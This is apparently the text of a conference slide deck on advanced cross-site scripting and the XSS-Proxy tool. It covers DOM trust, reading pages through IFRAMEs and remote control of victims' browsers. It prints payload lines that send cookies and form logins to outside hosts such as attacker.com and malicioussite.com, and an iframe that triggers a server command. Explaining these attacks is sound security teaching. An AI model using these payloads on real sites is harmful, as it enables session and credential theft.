Advanced Cross Site Scripting Evil XSS Anton Rager

Cross Site Scripting 1st Gen XSS was against public sites and ran against everyone that visited site attacker uploads script content that everyone visiting page execs Popups, redirects other annoyances Relayed cookies to attacker 2nd Gen XSS focuses on sites that allow self-reflection XSS User input modifies resulting page and can inject script commands into returned page (site search and echoed results) Normally chained with a 1st Gen attack on public site/email for site redirection with redirection URL forcing a XSS on 2nd site Cookies and other site-specific browser info leaked to attacker

Cross Site Scripting Types of information leakage Client can reveal cookies to 3rd party (session state, order info, etc) http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Client can reveal posted form items to 3rd party (userID/passwd, etc) <form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form> Client can be tricked into accessing/posting spoofed info to trusted server www.trustedserver.com/xss.asp?name = <iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe> Client can be tricked into attacking other sites /hello.asp?name = <iframe src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>

Cross Site Scripting (XSS) Client redirected to site via email/other XSS site Single Client Reflection client sends request to server with XSS tags Target Client Server sends response with XSS “commands” Private display Attacking Client Client executes XSS to 3rd party, server or both (Info Leak / Trust Leverage) Update page with XSS tags Server with XSS reflection Attacker Server Other Clients Client requests page Multi Client Reflection Client executes XSS to 3rd party, server or both (Info Leak / Trust Leverage / Client Redirection) Server sends response with XSS commands Server with XSS reflection Public display Server with XSS reflection Attacker Server

Limitations of these attacks Usually only get one transaction with XSS code against vulnerable site Most attacks are only focused on collecting cookies POST based forms are seldom leveraged – almost always use GET methods Attacker does not know actual responses to client Some experts recommend using POST, hidden form inputs and other session state info to limit XSS risks….

DOM Security Overview Child Windows and same site trust Scripts can interact between the two windows Script content can be loaded from anywhere (RPC/Remote scripting is common) Images can be loaded from anywhere Javascript can either be within <script></script> tags, loaded elsewhere via <script src=remote.com>, or attacked to many tags <img src=javascript….onload=javascript> Form GET/POST can be to another site or a javascript action XSS allows DOM abuse, but still follows DOM rules

IntraWindow/IFRAME Impacts Script can read all HTML content/tags in other window Script can set/delete tags/content in other window. We can read and set form values, then run a submit() Script can set vars and call functions in other window Document.write can allow script to create new tags/content in other window This means that a script can read all HTML contents of a document, change the appearance of the document, modify exiting tags/and values, modify and submit forms. We have full control of the other window as long it’s in same document.domain If we can forward cookies, then we can also forward other jscript accessible content to an attacker. We can forward page contents, form values (including hidden…) jscript vars/state, jscript errors.

Load/Read/Forward Overview DOM security allows a script to interact with windows it creates if they are still within the same document.domain (same site, same protocol, same port number). DOM security should block script access to documents outside the document.domain of the script (document that loaded it) We create a new window and set the location to the same site that we can already XSS – some other directory/or document on same site Can either use a new window created by XSS or an inline frame <IFRAME> Popup blockers make script based window creation harder, but <IFRAME> still works and can be treated like another window If the DOM security is met when we open content (same site…), then we can read/write to the new window. We just need some glue to open a list of documents, read the contents and forward the results somewhere – our code will run in original window, documents will be loaded in IFRAME/child window, and our code will be able to read/write the document in the IFRAME

Static XSS content leakage (IFRAME) XSS Vulnerable Server Victim Browser XSS against site Script commands run here IFRAME Other documents on site loaded into here <img src=“attacker.com/innerHTML_of_IFRAME”> Attacker System

XSS and intrawindow trust A complex XSS vector could load multiple pages, handle GET and POST submits, determine jscript vars and modify page contents with content in other window We can leak contents of pages, form values, results from submits and jscript vars as URL parameters with <img> <script> and other tag refs to attacker site Downside is that it’s not interactive and we have to hardcode actions that will work for all XSS victims

Controlled XSS – RPC based We can load external script with a <script src=xxx> tag This can be used to leak document/var info (like the common cookie leakage with <img>) and if we supply script contents back they will be executed. We have a two way channel – victim leaks info to us and we can tell victim what to do next all in the same request. This can simplify the initial XSS vector to a simple <script src=http://attacker.com/evilscript.js> that loads the more complex script remotely This also allows script contents to be customized or updated as attacker learns more about specific site/victims

Dynamic XSS with 2way comms (IFRAME) XSS Vulnerable Server Victim Browser XSS against site Script commands run here <script src=“attacker.com”> IFRAME Other documents on site loaded into here New jscript…. Attacker System <script src=“attacker.com/innnerHTML_of_IFRAME”>

Advanced XSS - Hiding IP/location of attack host Uses 1 XSS site for controlling window 3 IFRAMEs in main window 1 for load/read on original XSS site (normal XSS-Proxy) 1 for loading second XSS site with special vector (+subIframe) 1 for communications channel Still have capability to load/read docs of that XSS site in IFRAME1 New site gets loaded into IFRAME2 and creates another IFRAME within for loading docs on site2 IFRAME3 becomes a covert channel by having site change current location to point to a URL that will 404. URL is actually the covert contents and gives control to the other site for next redirect of IFRAME3. Site1 gets commands from remote attacker, sets IFRAME3 to site2 URL with commands in URL. Site2 has control of IFRAME3, so reads the current location to determine commands/tasks to run. Upon completion of tasks, Site2 changes IFRAME3 to Site1 location and leaks results on new URL. Site1 now has control, so reads URL, forwards results to remote attacker, and gives new commands across IFRAME3

Visual – Window based and IFRAME based XSS Site1 Server Victim Browser XSS against site Script commands run here IFRAME1 Site1 documents loaded into here IFRAME2 “Channel” – set to other site with info in URL (404) XSS Attacker System Script IFRAME3 Site2 documents loaded into here XSS Site1 Server

Controlled XSS impacts Read/Set arbitrary variables Read/Set contents of documents (and forms) Form submission (POST/GET) Possible to download binary content (XMLHTTP) Leverage non-cookie based trusts – potential escalation of privs HTTP Proxy capabilities to remote site? (XMLHTTP) Browser Zombies MITM when user goes to one of our XSS controlled sites DDoS potential Transfer victim to other XSS vulnerable sites Masqueraded site hacking – Nikto via XSS? Cross Site Request Forging (CSRF) CSRF + XSS Fuzz with validation A Giant Jscript cluster

Implications How do you know if you have XSSWare running? How much do you trust the site you are logged into? Do you know if the responses from a site are actually the site, or XSSWare MITMing you? If you are running a site, how do you know that a specific browser is actually the attacker?

More Info Xss-proxy and slides Anton Rager – arager@avaya.com http://sourceforge.net/projects/xss-proxy Anton Rager – arager@avaya.com